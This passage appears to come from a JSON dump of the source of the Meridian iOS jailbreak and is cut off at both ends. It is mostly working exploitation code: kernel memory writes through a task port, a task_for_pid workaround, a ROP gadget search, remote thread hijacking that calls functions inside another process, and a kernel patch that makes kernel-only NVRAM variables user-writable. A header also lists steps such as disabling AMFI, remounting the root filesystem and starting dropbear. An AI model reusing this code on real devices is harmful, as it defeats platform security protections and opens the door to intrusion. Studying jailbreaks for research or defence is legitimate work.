wk64(uint64_t kaddr, uint64_t val) {\n    uint32_t lower = (uint32_t)(val & 0xffffffff);\n    uint32_t higher = (uint32_t)(val >> 32);\n    wk32(kaddr, lower);\n    wk32(kaddr + 4, higher);\n}\n\nvoid wk32(uint64_t kaddr, uint32_t val) {\n    if (tfp0 == MACH_PORT_NULL) {\n        return;\n    }\n    \n    kern_return_t err;\n    err = mach_vm_write(tfp0,\n                        (mach_vm_address_t)kaddr,\n                        (vm_offset_t)&val,\n                        (mach_msg_type_number_t)sizeof(uint32_t));\n    \n    if (err != KERN_SUCCESS) {\n        return;\n    }\n}\n\nuint64_t remote_alloc(mach_port_t task_port, uint64_t size) {\n    kern_return_t err;\n    \n    mach_vm_offset_t remote_addr = 0;\n    mach_vm_size_t remote_size = (mach_vm_size_t)size;\n    err = mach_vm_allocate(task_port, &remote_addr, remote_size, VM_FLAGS_ANYWHERE);\n    if (err != KERN_SUCCESS){\n        printf(\"unable to allocate buffer in remote process\\n\");\n        return 0;\n    }\n    \n    return (uint64_t)remote_addr;\n}\n\nuint64_t alloc_and_fill_remote_buffer(mach_port_t task_port,\n                                      uint64_t local_address,\n                                      uint64_t length) {\n    kern_return_t err;\n    \n    uint64_t remote_address = remote_alloc(task_port, length);\n    \n    err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length);\n    if (err != KERN_SUCCESS){\n        printf(\"unable to write to remote memory \\n\");\n        return 0;\n    }\n    \n    return remote_address;\n}\n\nvoid remote_free(mach_port_t task_port, uint64_t base, uint64_t size) {\n    kern_return_t err;\n    \n    err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size);\n    if (err !=  KERN_SUCCESS){\n        printf(\"unabble to deallocate remote buffer\\n\");\n        return;\n    }\n}\n\nvoid remote_read_overwrite(mach_port_t task_port,\n                           uint64_t remote_address,\n                           uint64_t local_address,\n                           uint64_t length) {\n    kern_return_t err;\n    \n    mach_vm_size_t outsize = 0;\n    err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);\n    if (err != KERN_SUCCESS){\n        printf(\"remote read failed\\n\");\n        return;\n    }\n    \n    if (outsize != length){\n        printf(\"remote read was short (expected %llx, got %llx\\n\", length, outsize);\n        return;\n    }\n}\n\nuint64_t binary_load_address(mach_port_t tp) {\n    kern_return_t err;\n    mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;\n    memory_object_name_t object_name = MACH_PORT_NULL;\n    mach_vm_size_t target_first_size = 0x1000;\n    mach_vm_address_t target_first_addr = 0x0;\n    struct vm_region_basic_info_64 region = {0};\n    err = mach_vm_region(tp,\n                         &target_first_addr,\n                         &target_first_size,\n                         VM_REGION_BASIC_INFO_64,\n                         (vm_region_info_t)&region,\n                         &region_count,\n                         &object_name);\n    \n    if (err != KERN_SUCCESS) {\n        printf(\"failed to get the region\\n\");\n        return -1;\n    }\n    \n    return target_first_addr;\n}\n\nuint64_t ktask_self_addr() {\n    uint64_t self_proc = find_proc_by_pid(getpid());\n    return rk64(self_proc + 0x18);\n}\n\n// credits to Jonathan Levin (Morpheus) for this awesome workaround\n// http://newosxbook.com/articles/PST2.html\nmach_port_t task_for_pid_workaround(int pid) {\n    host_t myhost = mach_host_self();\n    mach_port_t psDefault;\n    mach_port_t psDefault_control;\n    \n    task_array_t tasks;\n    mach_msg_type_number_t numTasks;\n    \n    kern_return_t kr;\n    \n    kr = processor_set_default(myhost, &psDefault);\n    \n    kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);\n    if (kr != KERN_SUCCESS) {\n        fprintf(stderr, \"host_processor_set_priv failed with error %x\\n\", kr);\n        mach_error(\"host_processor_set_priv\",kr);\n        exit(1);\n    }\n    \n    kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);\n    if (kr != KERN_SUCCESS) {\n        fprintf(stderr,\"processor_set_tasks failed with error %x\\n\",kr);\n        exit(1);\n    }\n    \n    for (int i = 0; i < numTasks; i++) {\n        int t_pid;\n        pid_for_task(tasks[i], &t_pid);\n        if (pid == t_pid) return (tasks[i]);\n    }\n    \n    return MACH_PORT_NULL;\n}\n\n// from Ian Beer's find_port.c\nuint64_t find_port_address(mach_port_name_t port) {\n    uint64_t task_addr = ktask_self_addr();\n    uint64_t itk_space = rk64(task_addr + 0x300);\n    uint64_t is_table = rk64(itk_space + 0x20);\n    \n    uint32_t port_index = port >> 8;\n    uint64_t port_addr = rk64(is_table + (port_index * 0x18));\n    return port_addr;\n}\n\nuint64_t find_gadget_candidate(char** alternatives, size_t gadget_length) {\n    void* haystack_start = (void*)atoi;    // will do...\n    size_t haystack_size = 100*1024*1024; // likewise...\n    \n    for (char* candidate = *alternatives; candidate != NULL; alternatives++) {\n        void* found_at = memmem(haystack_start, haystack_size, candidate, gadget_length);\n        if (found_at != NULL) {\n            return (uint64_t)found_at;\n        }\n    }\n    \n    return 0;\n}\n\nuint64_t blr_x19_addr = 0;\nuint64_t find_blr_x19_gadget() {\n    if (blr_x19_addr != 0) {\n        return blr_x19_addr;\n    }\n    \n    char* blr_x19 = \"\\x60\\x02\\x3f\\xd6\";\n    char* candidates[] = {blr_x19, NULL};\n    blr_x19_addr = find_gadget_candidate(candidates, 4);\n    return blr_x19_addr;\n}\n\n// no support for non-register args\n#define MAX_REMOTE_ARGS 8\n\n// not in iOS SDK headers:\nextern void _pthread_set_self(pthread_t p);\n\nuint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...) {\n    if (n_params > MAX_REMOTE_ARGS || n_params < 0){\n        NSLog(@\"unsupported number of arguments to remote function (%d)\\n\", n_params);\n        return 0;\n    }\n    \n    kern_return_t err;\n    \n    uint64_t remote_stack_base = 0;\n    uint64_t remote_stack_size = 4*1024*1024;\n    \n    remote_stack_base = remote_alloc(task_port, remote_stack_size);\n    \n    uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size/2);\n    \n    // create a new thread in the target\n    // just using the mach thread API doesn't initialize the pthread thread-local-storage\n    // which means that stuff which relies on that will crash\n    // we can sort-of make that work by calling _pthread_set_self(NULL) in the target process\n    // which will give the newly created thread the same TLS region as the main thread\n    \n    \n    _STRUCT_ARM_THREAD_STATE64 thread_state = {0};\n    mach_msg_type_number_t thread_stateCnt = sizeof(thread_state)/4;\n    \n    // we'll start the thread running and call _pthread_set_self first:\n    thread_state.__sp = remote_stack_middle;\n    thread_state.__pc = (uint64_t)_pthread_set_self;\n    \n    // set these up to put us into a predictable state we can monitor for:\n    uint64_t loop_lr = find_blr_x19_gadget();\n    thread_state.__x[19] = loop_lr;\n    thread_state.__lr = loop_lr;\n    \n    // set the argument to NULL:\n    thread_state.__x[0] = 0;\n    \n    mach_port_t thread_port = MACH_PORT_NULL;\n    \n    err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port);\n    if (err != KERN_SUCCESS){\n        NSLog(@\"error creating thread in child: %s\\n\", mach_error_string(err));\n        return 0;\n    }\n    // NSLog(@\"new thread running in child: %x\\n\", thread_port);\n    \n    // wait for it to hit the loop:\n    while(1){\n        // monitor the thread until we see it's in the infinite loop indicating it's done:\n        err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);\n        if (err != KERN_SUCCESS){\n            NSLog(@\"error getting thread state: %s\\n\", mach_error_string(err));\n            return 0;\n        }\n        \n        if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr){\n            // thread has returned from the target function\n            break;\n        }\n    }\n    \n    // the thread should now have pthread local storage\n    // pause it:\n    \n    err = thread_suspend(thread_port);\n    if (err != KERN_SUCCESS){\n        NSLog(@\"unable to suspend target thread\\n\");\n        return 0;\n    }\n    \n    /*\n     err = thread_abort(thread_port);\n     if (err != KERN_SUCCESS){\n     NSLog(@\"unable to get thread out of any traps\\n\");\n     return 0;\n     }\n     */\n    \n    // set up for the actual target call:\n    thread_state.__sp = remote_stack_middle;\n    thread_state.__pc = (uint64_t)fptr;\n    \n    // set these up to put us into a predictable state we can monitor for:\n    thread_state.__x[19] = loop_lr;\n    thread_state.__lr = loop_lr;\n    \n    va_list ap;\n    va_start(ap, n_params);\n    \n    arg_desc* args[MAX_REMOTE_ARGS] = {0};\n    \n    uint64_t remote_buffers[MAX_REMOTE_ARGS] = {0};\n    //uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0};\n    \n    for (int i = 0; i < n_params; i++){\n        arg_desc* arg = va_arg(ap, arg_desc*);\n        \n        args[i] = arg;\n        \n        switch(arg->type){\n                case ARG_LITERAL:\n            {\n                thread_state.__x[i] = arg->value;\n                break;\n            }\n                \n                case ARG_BUFFER:\n                case ARG_BUFFER_PERSISTENT:\n                case ARG_INOUT_BUFFER:\n            {\n                uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length);\n                remote_buffers[i] = remote_buffer;\n                thread_state.__x[i] = remote_buffer;\n                break;\n            }\n                \n                case ARG_OUT_BUFFER:\n            {\n                uint64_t remote_buffer = remote_alloc(task_port, arg->length);\n                // NSLog(@\"allocated a remote out buffer: %llx\\n\", remote_buffer);\n                remote_buffers[i] = remote_buffer;\n                thread_state.__x[i] = remote_buffer;\n                break;\n            }\n                \n            default:\n            {\n                NSLog(@\"invalid argument type!\\n\");\n            }\n        }\n    }\n    \n    va_end(ap);\n    \n    err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt);\n    if (err != KERN_SUCCESS){\n        NSLog(@\"error setting new thread state: %s\\n\", mach_error_string(err));\n        return 0;\n    }\n    // NSLog(@\"thread state updated in target: %x\\n\", thread_port);\n    \n    err = thread_resume(thread_port);\n    if (err != KERN_SUCCESS){\n        NSLog(@\"unable to resume target thread\\n\");\n        return 0;\n    }\n    \n    while(1){\n        // monitor the thread until we see it's in the infinite loop indicating it's done:\n        err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);\n        if (err != KERN_SUCCESS){\n            NSLog(@\"error getting thread state: %s\\n\", mach_error_string(err));\n            return 0;\n        }\n        \n        if (thread_state.__pc == loop_lr/*&& thread_state.__x[19] == loop_lr*/){\n            // thread has returned from the target function\n            break;\n        }\n        \n        // thread isn't in the infinite loop yet, let it continue\n    }\n    \n    // deallocate the remote thread\n    err = thread_terminate(thread_port);\n    if (err != KERN_SUCCESS){\n        NSLog(@\"failed to terminate thread\\n\");\n        return 0;\n    }\n    mach_port_deallocate(mach_task_self(), thread_port);\n    \n    // handle post-call argument cleanup/copying:\n    for (int i = 0; i < MAX_REMOTE_ARGS; i++){\n        arg_desc* arg = args[i];\n        if (arg == NULL){\n            break;\n        }\n        switch (arg->type){\n                case ARG_BUFFER:\n            {\n                remote_free(task_port, remote_buffers[i], arg->length);\n                break;\n            }\n                \n                case ARG_INOUT_BUFFER:\n                case ARG_OUT_BUFFER:\n            {\n                // copy the contents back:\n                remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length);\n                remote_free(task_port, remote_buffers[i], arg->length);\n                break;\n            }\n        }\n    }\n    \n    uint64_t ret_val = thread_state.__x[0];\n    \n    // NSLog(@\"remote function call return value: %llx\\n\", ret_val);\n    \n    // deallocate the stack in the target:\n    remote_free(task_port, remote_stack_base, remote_stack_size);\n    \n    return ret_val;\n}\n"
  },
  {
    "path": "Meridian/Meridian/helpers/main.m",
    "content": "//\n//  main.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n#import \"AppDelegate.h\"\n\nint main(int argc, char * argv[]) {\n    @autoreleasepool {\n        return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));\n    }\n}\n"
  },
  {
    "path": "Meridian/Meridian/helpers/nonce.h",
    "content": "//\n//  nonce.h\n//  Meridian\n//\n//  Created by Ben on 29/07/2018.\n//\n\n#ifndef nonce_h\n#define nonce_h\n\nint set_boot_nonce(const char *gen);\nconst char *copy_boot_nonce(void);\n\n#endif /* nonce_h */\n"
  },
  {
    "path": "Meridian/Meridian/helpers/nonce.m",
    "content": "//\n//  nonce.m\n//  Meridian\n//\n//  Created by Ben on 29/07/2018.\n//\n\n#import <Foundation/Foundation.h>\n#include \"iokit.h\"\n\n#define kIONVRAMDeletePropertyKey       \"IONVRAM-DELETE-PROPERTY\"\n#define kIONVRAMForceSyncNowPropertyKey \"IONVRAM-FORCESYNCNOW-PROPERTY\"\n#define kNonceKey                       \"com.apple.System.boot-nonce\"\n\nCFMutableDictionaryRef makeDict(const char *key, const char *val) {\n    CFStringRef cfKey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull);\n    CFStringRef cfVal = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull);\n    \n    CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL,\n                                                            0,\n                                                            &kCFCopyStringDictionaryKeyCallBacks,\n                                                            &kCFTypeDictionaryValueCallBacks);\n    if (!cfKey || !dict || !cfVal) {\n        return NULL;\n    }\n    \n    CFDictionarySetValue(dict, cfKey, cfVal);\n    \n    CFRelease(cfKey);\n    CFRelease(cfVal);\n    return dict;\n}\n\nint applyDict(CFMutableDictionaryRef dict) {\n    io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"IODTNVRAM\"));\n    if (!MACH_PORT_VALID(nvram)) {\n        return 1;\n    }\n    \n    kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);\n    if (kret != KERN_SUCCESS) {\n        return 1;\n    }\n    \n    return 0;\n}\n\nint applyToNvram(const char *key, const char *val) {\n    CFMutableDictionaryRef dict = makeDict(key, val);\n    if (!dict) {\n        return 1;\n    }\n    \n    int ret = applyDict(dict);\n    \n    CFRelease(dict);\n    return ret;\n}\n\nint set_boot_nonce(const char *gen) {\n    int ret = applyToNvram(kIONVRAMDeletePropertyKey, kNonceKey);\n    \n    // set even if deletion failed\n    ret =        applyToNvram(kNonceKey, gen);\n    ret = ret || applyToNvram(kIONVRAMForceSyncNowPropertyKey, kNonceKey);\n    \n    return ret;\n}\n\nconst char *copy_boot_nonce() {\n    uint32_t length = 1024;\n    char buf[length];\n    \n    mach_port_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"IODTNVRAM\"));\n    if (!MACH_PORT_VALID(nvram)) {\n        return NULL;\n    }\n    \n    kern_return_t err = IORegistryEntryGetProperty(nvram, \"com.apple.System.boot-nonce\", (void *)buf, &length);\n    if (err != KERN_SUCCESS) {\n        return NULL;\n    }\n    \n    buf[length] = '\\0';\n    return strdup(buf);\n}\n"
  },
  {
    "path": "Meridian/Meridian/helpers/nvpatch.c",
    "content": "/*\n * nvpatch.c - Patch kernel to unrestrict NVRAM variables\n *\n * Copyright (c) 2014 Samuel Groß\n * Copyright (c) 2016 Pupyshev Nikita\n * Copyright (c) 2017 Siguza\n */\n\n#include <errno.h>              // errno\n#include <stdio.h>              // fprintf, stderr\n#include <stdlib.h>             // free, malloc\n#include <string.h>             // memmem, strcmp, strnlen\n#include <mach/vm_types.h>      // vm_address_t\n#include <mach-o/loader.h>\n\n#include \"kernel.h\"\n\n#define MAX_HEADER_SIZE 0x4000\n\n#define STRING_SEG  \"__TEXT\"\n#define STRING_SEC  \"__cstring\"\n#define OFVAR_SEG   \"__DATA\"\n#define OFVAR_SEC   \"__data\"\n\nenum\n{\n    kOFVarTypeBoolean = 1,\n    kOFVarTypeNumber,\n    kOFVarTypeString,\n    kOFVarTypeData,\n};\n\nenum\n{\n    kOFVarPermRootOnly = 0,\n    kOFVarPermUserRead,\n    kOFVarPermUserWrite,\n    kOFVarPermKernelOnly,\n};\n\ntypedef struct\n{\n    vm_address_t name;\n    uint32_t type;\n    uint32_t perm;\n    int32_t offset;\n} OFVar;\n\ntypedef struct\n{\n    vm_address_t addr;\n    vm_size_t len;\n    char *buf;\n} segment_t;\n\nint nvpatch(const char *target) {\n    struct mach_header_64 *hdr = malloc(MAX_HEADER_SIZE);\n    if (hdr == NULL) return -1;\n    memset(hdr, 0, MAX_HEADER_SIZE);\n    \n    kread(kernel_base, hdr, MAX_HEADER_SIZE);\n    \n    segment_t cstring = {\n        .addr = 0,\n        .len = 0,\n        .buf = NULL,\n    },\n    data = {\n        .addr = 0,\n        .len = 0,\n        .buf = NULL,\n    };\n    \n    for (struct load_command *cmd = (struct load_command *)(hdr + 1),\n                             *end = (struct load_command *)((char *)cmd + hdr->sizeofcmds);\n         cmd < end;\n         cmd = (struct load_command *)((char *)cmd + cmd->cmdsize)) {\n        switch (cmd->cmd) {\n            case LC_SEGMENT_64:\n            {\n                struct segment_command_64 *seg = (struct segment_command_64 *)cmd;\n                struct section_64 *sec = (struct section_64 *)(seg + 1);\n                \n                for (size_t i = 0; i < seg->nsects; ++i) {\n                    if (strcmp(sec[i].segname, STRING_SEG) == 0 &&\n                        strcmp(sec[i].sectname, STRING_SEC) == 0) {\n                        cstring.addr = sec[i].addr;\n                        cstring.len = sec[i].size;\n                        cstring.buf = malloc(cstring.len);\n                        \n                        kread(cstring.addr, cstring.buf, cstring.len);\n                    } else if (strcmp(sec[i].segname, OFVAR_SEG) == 0 &&\n                               strcmp(sec[i].sectname, OFVAR_SEC) == 0) {\n                        data.addr = sec[i].addr;\n                        data.len = sec[i].size;\n                        data.buf = malloc(data.len);\n                        \n                        kread(data.addr, data.buf, data.len);\n                    }\n                }\n            }\n                \n            default:\n                break;\n        }\n    }\n    \n    if (cstring.buf == NULL) {\n        printf(\"failed to find %s.%s section \\n\", STRING_SEG, STRING_SEC);\n        return -2;\n    }\n    \n    if (data.buf == NULL) {\n        printf(\"failed to find %s.%s section \\n\", OFVAR_SEG, OFVAR_SEC);\n        return -3;\n    }\n    \n    char first[] = \"little-endian?\";\n    char *str = memmem(cstring.buf, cstring.len, first, sizeof(first));\n    if (str == NULL) {\n        printf(\"failed to find string %s \\n\", first);\n        return -4;\n    }\n    \n    vm_address_t str_addr = (str - cstring.buf) + cstring.addr;\n    printf(\"found string %s at %lx \\n\", first, str_addr);\n    \n    OFVar *gOFVars = NULL;\n    for (vm_address_t *ptr = (vm_address_t *)data.buf,\n                      *end = (vm_address_t *)&data.buf[data.len];\n         ptr < end;\n         ++ptr) {\n        if (*ptr == str_addr) {\n            gOFVars = (OFVar *)ptr;\n            break;\n        }\n    }\n    \n    if (gOFVars == NULL) {\n        printf(\"failed to find gOFVariables \\n\");\n        return -5;\n    }\n    \n    vm_address_t gOFAddr = ((char *)gOFVars - data.buf) + data.addr;\n    printf(\"found gOFVariables at %lx \\n\", gOFAddr);\n    \n    size_t numvars = 0;\n    size_t longest_name = 0;\n    \n    for (OFVar *var = gOFVars; (char *)var < &data.buf[data.len]; ++var) {\n        if (var->name == 0) {\n            break;\n        }\n        \n        if (var->name < cstring.addr || var->name >= cstring.addr + cstring.len) {\n            printf(\"gOFVariables[%lu].name is out of bounds \\n\", numvars);\n            return -6;\n        }\n        \n        char *name = &cstring.buf[var->name - cstring.addr];\n        size_t maxlen = cstring.len - (name - cstring.buf);\n        size_t namelen = strnlen(name, maxlen);\n        if (namelen == maxlen) {\n            printf(\"gOFVariables[%lu].name exceeds __cstring size \\n\", numvars);\n            return -7;\n        }\n        \n        for (size_t i = 0; i < namelen; ++i) {\n            if (name[i] < 0x20 || name[i] > 0x7f) {\n                printf(\"gOFVariables[%lu].name contains non-printable character: 0x%02x \\n\", numvars, name[i]);\n                return -8;\n            }\n        }\n        \n        longest_name = namelen > longest_name ? namelen : longest_name;\n        \n        switch (var->type) {\n            case kOFVarTypeBoolean:\n            case kOFVarTypeNumber:\n            case kOFVarTypeString:\n            case kOFVarTypeData:\n                break;\n                \n            default:\n                printf(\"gOFVariables[%lu] has unknown type: 0x%x \\n\", numvars, var->type);\n                return -9;\n        }\n        \n        switch (var->perm) {\n            case kOFVarPermRootOnly:\n            case kOFVarPermUserRead:\n            case kOFVarPermUserWrite:\n            case kOFVarPermKernelOnly:\n                break;\n                \n            default:\n                printf(\"gOFVariables[%lu] has unknown permissions: 0x%x \\n\", numvars, var->perm);\n                return -10;\n        }\n        \n        ++numvars;\n    }\n    \n    if (numvars <= 0) {\n        printf(\"gOFVariables contains zero entries \\n\");\n        return -11;\n    }\n    \n    for (size_t i = 0; i < numvars; ++i) {\n        char *name = &cstring.buf[gOFVars[i].name - cstring.addr];\n        if (strcmp(name, target) == 0) {\n            if (gOFVars[i].perm != kOFVarPermKernelOnly) {\n                printf(\"target var %s is not set as kernel-only \\n\", target);\n                goto done;\n            }\n            \n            vm_size_t off = ((char *)&gOFVars[i].perm) - data.buf;\n            uint32_t newperm = kOFVarPermUserWrite;\n            kwrite(data.addr + off, &newperm, sizeof(newperm));\n            printf(\"great success for var %s! \\n\", target);\n            goto done;\n        }\n    }\n    printf(\"failed to find variable %s! \\n\", target);\n    return -13;\n    \ndone:;\n    \n    free(cstring.buf);\n    free(data.buf);\n    free(hdr);\n    \n    return 0;\n}\n\n"
  },
  {
    "path": "Meridian/Meridian/helpers/nvpatch.h",
    "content": "//\n//  nvpatch.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 11/05/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#ifndef nvpatch_h\n#define nvpatch_h\n\nint nvpatch(const char *target);\n\n#endif /* nvpatch_h */\n"
  },
  {
    "path": "Meridian/Meridian/helpers/untar.h",
    "content": "//\n//  untar.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/02/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#ifndef untar_h\n#define untar_h\n\nint untar(FILE *a, const char *path);\n\n#endif /* untar_h */\n"
  },
  {
    "path": "Meridian/Meridian/helpers/untar.m",
    "content": "/*\n * \"untar\" is an extremely simple tar extractor:\n *  * A single C source file, so it should be easy to compile\n *    and run on any system with a C compiler.\n *  * Extremely portable standard C.  The only non-ANSI function\n *    used is mkdir().\n *  * Reads basic ustar tar archives.\n *  * Does not require libarchive or any other special library.\n *\n * To compile: cc -o untar untar.c\n *\n * Usage:  untar <archive>\n *\n * In particular, this program should be sufficient to extract the\n * distribution for libarchive, allowing people to bootstrap\n * libarchive on systems that do not already have a tar program.\n *\n * To unpack libarchive-x.y.z.tar.gz:\n *    * gunzip libarchive-x.y.z.tar.gz\n *    * untar libarchive-x.y.z.tar\n *\n * Written by Tim Kientzle, March 2009.\n * Modified by xerub, sometime in 2017.\n *\n * Released into the public domain.\n */\n\n/* These are all highly standard and portable headers. */\n#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n/* This is for mkdir(); this may need to be changed for some platforms. */\n#include <sys/stat.h>  /* For mkdir() */\n\n#include <Foundation/Foundation.h>\n\n/* Parse an octal number, ignoring leading and trailing nonsense. */\nstatic int\nparseoct(const char *p, size_t n)\n{\n\tint i = 0;\n\n\twhile (*p < '0' || *p > '7') {\n\t\t++p;\n\t\t--n;\n\t}\n\twhile (*p >= '0' && *p <= '7' && n > 0) {\n\t\ti *= 8;\n\t\ti += *p - '0';\n\t\t++p;\n\t\t--n;\n\t}\n\treturn (i);\n}\n\n/* Returns true if this is 512 zero bytes. */\nstatic int\nis_end_of_archive(const char *p)\n{\n\tint n;\n\tfor (n = 511; n >= 0; --n)\n\t\tif (p[n] != '\\0')\n\t\t\treturn (0);\n\treturn (1);\n}\n\n/* Create a directory, including parent directories as necessary. */\nstatic void\ncreate_dir(char *pathname, int mode, int owner, int group)\n{\n\tchar *p;\n\tint r;\n\n\tstruct stat st;\n\tr = stat(pathname, &st);\n\tif (r == 0) {\n\t\treturn;\n\t}\n\n\t/* Strip trailing '/' */\n\tif (pathname[strlen(pathname) - 1] == '/')\n\t\tpathname[strlen(pathname) - 1] = '\\0';\n\n\t/* Try creating the directory. */\n\tr = mkdir(pathname, mode);\n\n\tif (r != 0) {\n\t\t/* On failure, try creating parent directory. */\n\t\tp = strrchr(pathname, '/');\n\t\tif (p != NULL) {\n\t\t\t*p = '\\0';\n\t\t\tcreate_dir(pathname, 0755, -1, -1);\n\t\t\t*p = '/';\n\t\t\tr = mkdir(pathname, mode);\n\t\t}\n\t}\n\tif (r != 0)\n\t\tNSLog(@\"Could not create directory %s\", pathname);\n\telse if (owner >= 0 && group >= 0)\n\t\tchown(pathname, owner, group);\n}\n\n/* Create a file, including parent directory as necessary. */\nstatic int\ncreate_file(char *pathname, int mode, int owner, int group)\n{\n\tint f;\n\tif (unlink(pathname) && errno != ENOENT) {\n\t\treturn -1;\n\t}\n\tf = creat(pathname, mode);\n\tif (f < 0) {\n\t\t/* Try creating parent dir and then creating file. */\n\t\tchar *p = strrchr(pathname, '/');\n\t\tif (p != NULL) {\n\t\t\t*p = '\\0';\n\t\t\tcreate_dir(pathname, 0755, -1, -1);\n\t\t\t*p = '/';\n\t\t\tf = creat(pathname, mode);\n\t\t}\n\t}\n\tfchown(f, owner, group);\n\treturn (f);\n}\n\n/* Verify the tar checksum. */\nstatic int\nverify_checksum(const char *p)\n{\n\tint n, u = 0;\n\tfor (n = 0; n < 512; ++n) {\n\t\tif (n < 148 || n > 155)\n\t\t\t/* Standard tar checksum adds unsigned bytes. */\n\t\t\tu += ((unsigned char *)p)[n];\n\t\telse\n\t\t\tu += 0x20;\n\n\t}\n\treturn (u == parseoct(p + 148, 8));\n}\n\n/* Extract a tar archive. */\nint\nuntar(FILE *a, const char *path)\n{\n\tchar buff[512];\n\tint f = -1;\n\tsize_t bytes_read;\n\tint filesize;\n\n\tNSLog(@\"Extracting from %s\", path);\n\tfor (;;) {\n\t\tbytes_read = fread(buff, 1, 512, a);\n\t\tif (bytes_read < 512) {\n\t\t\tNSLog(@\"Short read on %s: expected 512, got %d\", path, (int)bytes_read);\n\t\t\treturn -1;\n\t\t}\n\t\tif (is_end_of_archive(buff)) {\n\t\t\tNSLog(@\"End of %s\", path);\n\t\t\treturn 0;\n\t\t}\n\t\tif (!verify_checksum(buff)) {\n\t\t\tNSLog(@\"Checksum failure\");\n\t\t\treturn -2;\n\t\t}\n\t\tfilesize = parseoct(buff + 124, 12);\n\t\tswitch (buff[156]) {\n\t\tcase '1':\n\t\t\tNSLog(@\" Ignoring hardlink %s\", buff);\n\t\t\tbreak;\n\t\tcase '2':\n\t\t\tNSLog(@\" Extracting symlink %s -> %s\", buff, buff + 157);\n\t\t\tif (unlink(buff) && errno != ENOENT) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tsymlink(buff + 157, buff);\n\t\t\tbreak;\n\t\tcase '3':\n\t\t\tNSLog(@\" Ignoring character device %s\", buff);\n\t\t\t\tbreak;\n\t\tcase '4':\n\t\t\tNSLog(@\" Ignoring block device %s\", buff);\n\t\t\tbreak;\n\t\tcase '5':\n\t\t\tNSLog(@\" Extracting dir %s\", buff);\n\t\t\tcreate_dir(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));\n\t\t\tfilesize = 0;\n\t\t\tbreak;\n\t\tcase '6':\n\t\t\tNSLog(@\" Ignoring FIFO %s\", buff);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tNSLog(@\" Extracting file %s\", buff);\n\t\t\tf = create_file(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));\n\t\t\tbreak;\n\t\t}\n\t\twhile (filesize > 0) {\n\t\t\tbytes_read = fread(buff, 1, 512, a);\n\t\t\tif (bytes_read < 512) {\n\t\t\t\tNSLog(@\"Short read on %s: Expected 512, got %zd\", path, bytes_read);\n\t\t\t\treturn -3;\n\t\t\t}\n\t\t\tif (filesize < 512)\n\t\t\t\tbytes_read = filesize;\n\t\t\tif (f >= 0) {\n\t\t\t\tif (write(f, buff, bytes_read)\n\t\t\t\t    != bytes_read)\n\t\t\t\t{\n\t\t\t\t\tNSLog(@\"Failed write\");\n\t\t\t\t\tclose(f);\n\t\t\t\t\tf = -1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfilesize -= bytes_read;\n\t\t}\n\t\tif (f >= 0) {\n\t\t\tclose(f);\n\t\t\tf = -1;\n\t\t}\n\t}\n    \n    return 0;\n}\n"
  },
  {
    "path": "Meridian/Meridian/jailbreak.h",
    "content": "//\n//  jailbreak.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/02/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#ifndef jailbreak_h\n#define jailbreak_h\n\nBOOL great_success;\n\nint makeShitHappen(id view);\nint runV0rtex(void);\nint patchContainermanagerd(void);\nint remountRootFs(void);\nint extractMeridianData(void);\nvoid setUpSymLinks(void);\nint extractBootstrap(int *exitCode);\nint defecateAmfi(void);\nint launchDropbear(void);\nvoid setUpSubstitute(void);\nint startJailbreakd(void);\nint loadLaunchDaemons(void);\nvoid enableHiddenApps(void);\n\n#endif /* jailbreak_h */\n"
  },
  {
    "path": "Meridian/Meridian/jailbreak.m",
